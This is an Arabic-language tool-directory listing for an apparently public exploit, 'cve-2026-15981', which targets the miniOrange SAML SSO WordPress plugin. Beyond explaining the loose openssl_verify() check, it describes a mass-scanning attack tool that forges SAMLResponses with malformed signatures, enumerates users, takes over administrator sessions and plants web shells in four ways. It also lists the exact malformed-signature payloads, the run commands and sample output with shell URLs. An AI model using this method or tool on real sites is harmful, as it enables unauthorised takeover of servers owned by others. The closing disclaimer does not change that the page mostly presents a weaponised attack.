Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-15981 — SAML Single Sign On <= 5.4.4 - تجاوز المصادقة بدون مصادقة مسبقة عبر معامل SAMLResponse | Kitploit
أدوات/GitHubGitHub/nxploited/cve-2026-15981
المصادقة والترخيصتوليد الحمولةتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبما بعد الاستغلالاختبار الاختراق
GitHubnxploited/cve-2026-15981

CVE-2026-15981

SAML Single Sign On <= 5.4.4 - تجاوز المصادقة بدون مصادقة مسبقة عبر معامل SAMLResponse

عرض المستودع
4منذ شهر واحدلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-15981

SAML Single Sign On <= 5.4.4 - تجاوز المصادقة بدون مصادقة مسبقة عبر معامل SAMLResponse

CVE CVSS CWE CWE Python

CVE-2026-15981

SAML Single Sign On ≤ 5.4.4 — تجاوز المصادقة بدون مصادقة مسبقة

استغلال إثبات المفهوم
توقيع مشوّه ← openssl_verify() يُرجع -1 ← تحويل ضمني فضفاض في PHP إلى true ← wp_set_auth_cookie() بصلاحيات مدير النظام


نظرة عامة على الثغرة

الوصف

ملحق SAML Single Sign On – SSO Login لووردبريس عرضة لتجاوز المصادقة في جميع الإصدارات حتى 5.4.4. ويعود السبب إلى قيام دالة mo_saml_validate_signature() بإجراء فحص منطقي فضفاض على القيمة الصحيحة ثلاثية الحالات التي يُرجعها openssl_verify() في PHP، مما يجعل القيمة الخاطئة -1 تُقيَّم على أنها صحيحة (truthy) وبالتالي تُعامل كتحقق ناجح من التوقيع.

يتيح هذا للمهاجمين غير المصادَق عليهم تسجيل الدخول باسم أي مستخدم ووردبريس موجود، بما في ذلك مدراء النظام، عبر إرسال استجابة SAMLResponse مصممة بعناية تحتوي على NameID يتحكم فيه المهاجم وقيمة توقيع مشوّهة عمدًا تؤدي إلى خطأ في معالجة OpenSSL — متجاوزين التحقق تمامًا، مما يؤدي إلى استدعاء wp_set_auth_cookie() للحساب المستهدف.

السبب الجذري

root@kitploit:~
Attacker sends crafted SAMLResponse
         │
         ▼
mo_saml_validate_signature()
         │
         ▼
openssl_verify($data, $malformed_sig, $key)
         │
         ├─ Returns  1  → valid signature      ✓
         ├─ Returns  0  → invalid signature     ✗
         └─ Returns -1  → OpenSSL internal error
                │
                ▼
     PHP loose comparison:  if ($result)
                │
                ├─ (int) 1   → true   ✓
                ├─ (int) 0   → false  ✓
                └─ (int) -1  → true   ← BUG: error treated as success
                       │
                       ▼
             wp_set_auth_cookie() called
                       │
                       ▼
             Attacker is now Administrator

الإصلاح بسيط — استخدام if ($result === 1) بدلاً من if ($result) — لكن تأثير الخلل هو تجاوز كامل للمصادقة.


الميزات

  • فحص جماعي متعدد الأهداف — معالجة متزامنة لقوائم الأهداف
  • بصمة ووردبريس كاملة — التأكد من أن الموقع ووردبريس قبل المتابعة
  • كشف الملحق وفحص الإصدار — تحديد miniOrange SAML SSO والتحقق من أن الإصدار ≤ 5.4.4
  • اكتشاف بيانات SP الوصفية — استخراج Entity ID وعنوان ACS URL من ?option=mosaml_metadata
  • تعداد شامل للمستخدمين:
    • WP REST API (/wp-json/wp/v2/users)
    • استعلامات REST حسب المعرّف (المعرّفات 1–10)
    • إعادة توجيه أرشيف المؤلف (/?author=N)
    • مطابقة الأنماط في نص HTML
    • احتياطي قائم على النطاق + أسماء مدراء شائعة
  • اكتشاف مُصدِر IdP — تتبّع عمليات إعادة التوجيه عبر ?option=saml_user_login واستخراج عناوين IdP الأساسية
  • محرك تزوير SAMLResponse:
    • تطبيع Exclusive C14N صحيح عبر lxml
    • حساب صحيح لقيمة Digest (SHA-1/SHA-256/SHA-384/SHA-512)
    • حقن عنصر التوقيع بعد </Issuer> وفق مواصفة SAML
    • أكثر من 12 حمولة توقيع مشوّهة مصممة لاستدعاء openssl_verify() = -1
    • يتنقل عبر المستخدمين × المصدِرين × الخوارزميات × التوقيعات × علامات الجمهور × معرّفات كيانات SP
  • التحقق من الجلسة — فحص وجود كوكي wordpress_logged_in_* بعد كل محاولة

المتطلبات

root@kitploit:~
Python >= 3.8
root@kitploit:~
pip install requests lxml

lxml مطلوب لإجراء تطبيع Exclusive C14N الصحيح لتأكيد SAML.


الاستخدام

root@kitploit:~
python CVE-2026-15981.py

سيُطلب منك ما يلي:

المُطالَبَةالوصفالافتراضي
ملف الأهدافمسار ملف نصي يحتوي على هدف واحد لكل سطرlist.txt
الخيوط (Threads)عدد العمال المتزامنين (1–100)5

تنسيق ملف الأهداف

root@kitploit:~
https://example.com
http://target.org
subdomain.example.net
192.168.1.100
https://example.com/wordpress

عنوان URL واحد لكل سطر. يُستخدم HTTP افتراضيًا إذا لم يُحدَّد بروتوكول.


المخرجات

الطرفية

root@kitploit:~
  ███████╗███╗   ███╗███████╗
  ██╔════╝████╗ ████║██╔════╝
  ███████╗██╔████╔██║███████╗
  ╚════██║██║╚██╔╝██║╚════██║
  ███████║██║ ╚═╝ ██║███████║
  ╚══════╝╚═╝     ╚═╝╚══════╝
   ╔══════════════════════════════════════════════════════════╗
   ║  miniOrange SAML SSO <= 5.4.4                           ║
   ║  openssl_verify() -1 Bypass -> Admin Session            ║
   ╚══════════════════════════════════════════════════════════╝
  By: Nxploited ( Khaled Alenazi ) - Nxploited ZeroDay Hub
  T.m @Kxploit

يتقدّم كل هدف عبر 7 مراحل معنونة:

root@kitploit:~
  ============================================================
    target.com
  ============================================================
  [1] WordPress
      confirmed
  [2] SAML plugin
      version: 5.4.4
      miniOrange SAML detected
  [3] SP metadata
      metadata entityID: https://target.com/...
      metadata ACS: https://target.com/
  [4] Users
      REST: admin (id=1)
      REST: editor (id=2)
      author/3: johndoe
      4 found: ['admin', 'editor', 'johndoe', 'target']
  [5] Issuers
      SSO redirect found
      3 candidates
  [6] Exploit
      COOKIE! #14 user=admin 0xFF*256/rsa-sha256
        wordpress_logged_in_abc123=admin%7C1753...
        wp-admin accessible
          user=admin  [email protected]
          users.php -> Admin
  [7] Shell upload
      M1: plugin uploaded
      SHELL (M1-plugin): https://target.com/wp-content/plugins/nxproof/Nx.php
        -> Nx-zD Linux target 6.1.0 x86_64 uid=33(www-data) ...

  +==========================================================+
  |  ADMIN SESSION CONFIRMED                                 |
  +==========================================================+
  |  Target : https://target.com
  |  User   : admin
  |  Issuer : https://idp.example.com/simplesaml/...
  |  Method : 0xFF*256/rsa-sha256
  |  Cookie : wordpress_logged_in_abc123=admin%7C1753...
  |  Shell  : https://target.com/wp-content/plugins/nxproof/Nx.php
  +==========================================================+

ملفات النتائج

الملفالمحتوى
sms.txtسطر واحد لكل جلسة مدير مؤكدة — الطابع الزمني، الهدف، المستخدم، الكوكي، رابط الشيل، المصدِر، طريقة التوقيع
sms_debug.jsonJSON تشخيصي كامل لكل هدف — بما في ذلك عدد المحاولات وتصنيفات الفشل

تنسيق سطر النتيجة

root@kitploit:~
[2026-07-26 09:14:52] https://target.com | ADMIN | user=admin | cookie=wordpress_logged_in_...
| SHELL=https://target.com/wp-content/plugins/nxproof/Nx.php | issuer=https://idp.example.com/...
| sig=0xFF*256/rsa-sha256

الملخص

root@kitploit:~
  ============================================================
    DONE - 142.3s
  ============================================================
    ADMIN=3  miss=47  skip=100
    results -> sms.txt  debug -> sms_debug.json
  ============================================================

خط سير الاستغلال

root@kitploit:~
Target
  │
  ├─ [1] WordPress Detection
  │       └─ wp-login.php / wp-json / jQuery fingerprint
  │
  ├─ [2] SAML Plugin Detection
  │       ├─ readme.txt version check (≤ 5.4.4)
  │       └─ SAML signature detection in HTML
  │
  ├─ [3] SP Metadata Discovery
  │       └─ ?option=mosaml_metadata → entityID + ACS URL
  │
  ├─ [4] User Enumeration
  │       ├─ REST API /wp/v2/users (bulk + per-ID)
  │       ├─ Author archive redirect (/?author=N)
  │       ├─ HTML body pattern matching
  │       └─ Domain fallback + common admin names
  │
  ├─ [5] IdP Issuer Discovery
  │       ├─ ?option=saml_user_login redirect → IdP URL
  │       └─ wp-login.php SAML link extraction
  │
  ├─ [6] SAMLResponse Forgery & Delivery
  │       │
  │       │   For each (user × issuer × algorithm × signature × audience × SP ID):
  │       │
  │       ├─ Build SAML Assertion with attacker-controlled NameID
  │       ├─ Canonicalize via Exclusive C14N (lxml)
  │       ├─ Compute correct DigestValue for the Assertion
  │       ├─ Inject malformed SignatureValue (0xFF×256, ASN.1 junk, etc.)
  │       ├─ Wrap in <samlp:Response>, Base64 encode
  │       ├─ POST SAMLResponse to ACS URL
  │       ├─ Check for wordpress_logged_in_* cookie
  │       ├─ If cookie found → verify admin role via wp-admin
  │       └─ Classify failure via diagnostic engine
  │
  └─ [7] Post-Exploitation (on admin session)
          ├─ M1: Plugin ZIP upload + activation
          ├─ M2: REST API plugin upload
          ├─ M3: Theme/Plugin editor file write
          ├─ M4: Media async upload
          └─ Shell execution verification (Nx-zD signature)

حمولات التوقيع المشوّهة

تشتمل الأداة على أكثر من 12 حمولة توقيع مصممة خصيصًا لاستدعاء openssl_verify() = -1:

تُدمج كل حمولة مع معرفات خوارزمية SHA-1 وSHA-256، وتُختبَر مع/بدون تقييد Audience، عبر معرّفات كيانات SP متعددة — مما يزيد إلى أقصى حد فرصة الوصول إلى مسار الإرجاع -1 على أي إصدار من OpenSSL.


إخلاء مسؤولية

تُقدَّم هذه الأداة حصريًا لأغراض اختبار الأمان المصرح به والبحث التعليمي. لا تستخدمها إلا ضد أنظمة تملكها أو لديك تفويض كتابي صريح لاختبارها.

الوصول غير المصرح به إلى أنظمة الحاسوب جريمة جنائية. لا يتحمل المؤلف أي مسؤولية عن سوء الاستخدام أو الأضرار أو أي عواقب قانونية ناشئة عن استخدام هذا البرنامج. أنت وحدك المسؤول عن ضمان الامتثال لجميع القوانين واللوائح المعمول بها في نطاق ولايتك القضائية.


بواسطة: Nxploited
Khaled Alenazi — Nxploited ZeroDay Hub
T.m @Kxploit

تنزيل الأداة
الحقلالتفاصيل
معرّف CVECVE-2026-15981
الملحق المتأثرminiOrange SAML 2.0 Single Sign On – SSO Login (WordPress)
الإصدارات المتأثرةجميع الإصدارات حتى 5.4.4 وما دون
النوعتجاوز المصادقة بدون مصادقة مسبقة
CWECWE-287: Improper Authentication / CWE-305: Authentication Bypass by Primary Weakness
CVSS 3.19.8 حرجة — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
المصادقةغير مطلوبة
  • تأكيد صلاحية المدير — التحقق من الوصول إلى /wp-admin/ و/wp-admin/users.php و/wp-admin/plugins.php
  • استخراج الملف الشخصي — قراءة اسم المستخدم والبريد الإلكتروني من /wp-admin/profile.php
  • 4 طرق لرفع شيل عند الحصول على جلسة مدير:
    • M1 — رفع ملحق ZIP عبر plugin-install.php
    • M2 — رفع ملحق عبر REST API من /wp-json/wp/v2/plugins
    • M3 — كتابة ملف عبر محرر القالب/الملحق
    • M4 — رفع وسائط غير متزامن
  • التحقق من تنفيذ الشيل — تأكيد وجود توقيع Nx-zD في نص الاستجابة
  • محرك التشخيص — تصنيف أسباب الفشل (DIGEST_FAIL, ISSUER, AUDIENCE, TIME, إلخ)
  • مخرجات JSON للتصحيح — سجل تشخيصي كامل لكل هدف للتحليل
  • الحمولةالوصف
    0xFF * 256256 بايت من 0xFF — حشوة PKCS#1 غير صالحة
    0xFF * 384384 بايت لأحجام مفاتيح RSA-3072
    0xFF * 512512 بايت لأحجام مفاتيح RSA-4096
    0xFF * 128مخزن أقصر لأحجام مفاتيح أصغر
    0xFF * 64حشوة غير صالحة دنيا
    0x00 0x01 0xFF*254تشبه PKCS#1 v1.5 ولكن ببنية خاطئة
    0x00 0x01 0xFF*126بنية أقصر تشبه PKCS#1
    null_2Bوحدتا بايت ملاصقتان بقيمة صفرية
    rand_3B / rand_7Bبايتات عشوائية — تؤدي إلى أخطاء تحليل
    asn1_badتسلسل ASN.1 DER مشوّه
    ff_1Bبايت واحد 0xFF